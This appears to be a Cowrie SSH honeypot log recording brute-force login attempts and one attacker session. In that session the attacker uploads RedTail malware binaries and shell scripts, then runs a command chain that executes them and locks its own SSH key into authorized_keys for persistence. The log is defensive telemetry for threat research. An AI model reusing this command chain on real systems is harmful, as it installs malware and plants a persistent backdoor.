{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:00:00.244727Z","src_ip":"2.57.122.96","session":"1da92c53a3b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":56152,"dst_ip":"10.17.0.5","dst_port":22,"session":"e98b3355ceb1","protocol":"ssh","message":"New connection: 92.118.39.72:56152 (10.17.0.5:22) [session: e98b3355ceb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:00.957119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:00.963822Z","src_ip":"92.118.39.72","session":"e98b3355ceb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:01.066196Z","src_ip":"92.118.39.72","session":"e98b3355ceb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:01.421308Z","src_ip":"92.118.39.72","session":"e98b3355ceb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:02.530470Z","src_ip":"92.118.39.72","session":"e98b3355ceb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.2","message":"Connection lost after 301.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:09.498590Z","src_ip":"111.228.36.44","session":"e054d67d528d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.91.69.217","src_port":58270,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1f4673c6818","protocol":"ssh","message":"New connection: 185.91.69.217:58270 (159.203.135.109:22) [session: c1f4673c6818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:45.795643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:45.801280Z","src_ip":"185.91.69.217","session":"c1f4673c6818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:45.874641Z","src_ip":"185.91.69.217","session":"c1f4673c6818","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P","message":"login attempt [root/P] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:46.100886Z","src_ip":"185.91.69.217","session":"c1f4673c6818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:46.179492Z","src_ip":"185.91.69.217","session":"c1f4673c6818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":46796,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d2c71c10dcc","protocol":"ssh","message":"New connection: 130.12.180.51:46796 (159.203.135.109:22) [session: 8d2c71c10dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:46.268123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:46.272307Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:46.353778Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P","message":"login attempt [root/P] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:01:46.601163Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:03.875452Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","message":"CMD: chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:03.879196Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6","size":83,"shasum":"4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:03.967064Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"clean.sh","outfile":"var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","shasum":"d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","message":"SFTP Uploaded file \"clean.sh\" to var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:04.051725Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm7","outfile":"var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","shasum":"3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","message":"SFTP Uploaded file \"redtail.arm7\" to var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:04.062212Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm8","outfile":"var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","shasum":"dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","message":"SFTP Uploaded file \"redtail.arm8\" to var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:04.074503Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.i686","outfile":"var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","shasum":"048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","message":"SFTP Uploaded file \"redtail.i686\" to var/lib/cowrie/downloads/048e374baac36d8cf68dd32e48313ef8eb517d647548b1bf5f26d2d0e2e3cdc7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:04.087404Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.x86_64","outfile":"var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","shasum":"59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","message":"SFTP Uploaded file \"redtail.x86_64\" to var/lib/cowrie/downloads/59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:04.100948Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"setup.sh","outfile":"var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","shasum":"783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","message":"SFTP Uploaded file \"setup.sh\" to var/lib/cowrie/downloads/783adb7ad6b16fe9818f3e6d48b937c3ca1994ef24e50865282eeedeab7e0d59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:04.106451Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.9","message":"Connection lost after 17.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:04.194466Z","src_ip":"130.12.180.51","session":"8d2c71c10dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":38436,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4033aaa7aca","protocol":"ssh","message":"New connection: 2.57.122.96:38436 (10.17.0.5:22) [session: e4033aaa7aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:45.331312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:45.335498Z","src_ip":"2.57.122.96","session":"e4033aaa7aca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:45.439776Z","src_ip":"2.57.122.96","session":"e4033aaa7aca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:45.758659Z","src_ip":"2.57.122.96","session":"e4033aaa7aca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:02:46.877401Z","src_ip":"2.57.122.96","session":"e4033aaa7aca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":57142,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b7c60a2413f","protocol":"ssh","message":"New connection: 2.57.122.96:57142 (159.203.135.109:22) [session: 3b7c60a2413f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:01.027518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:01.032406Z","src_ip":"2.57.122.96","session":"3b7c60a2413f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:01.137758Z","src_ip":"2.57.122.96","session":"3b7c60a2413f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:01.517068Z","src_ip":"2.57.122.96","session":"3b7c60a2413f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:02.715008Z","src_ip":"2.57.122.96","session":"3b7c60a2413f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":60456,"dst_ip":"10.17.0.5","dst_port":22,"session":"f956ae0ce009","protocol":"ssh","message":"New connection: 92.118.39.72:60456 (10.17.0.5:22) [session: f956ae0ce009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:08.752067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:08.756650Z","src_ip":"92.118.39.72","session":"f956ae0ce009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:08.852989Z","src_ip":"92.118.39.72","session":"f956ae0ce009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blockchain","password":"blockchain","message":"login attempt [blockchain/blockchain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:09.226380Z","src_ip":"92.118.39.72","session":"f956ae0ce009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:10.325652Z","src_ip":"92.118.39.72","session":"f956ae0ce009","protocol":"ssh"}
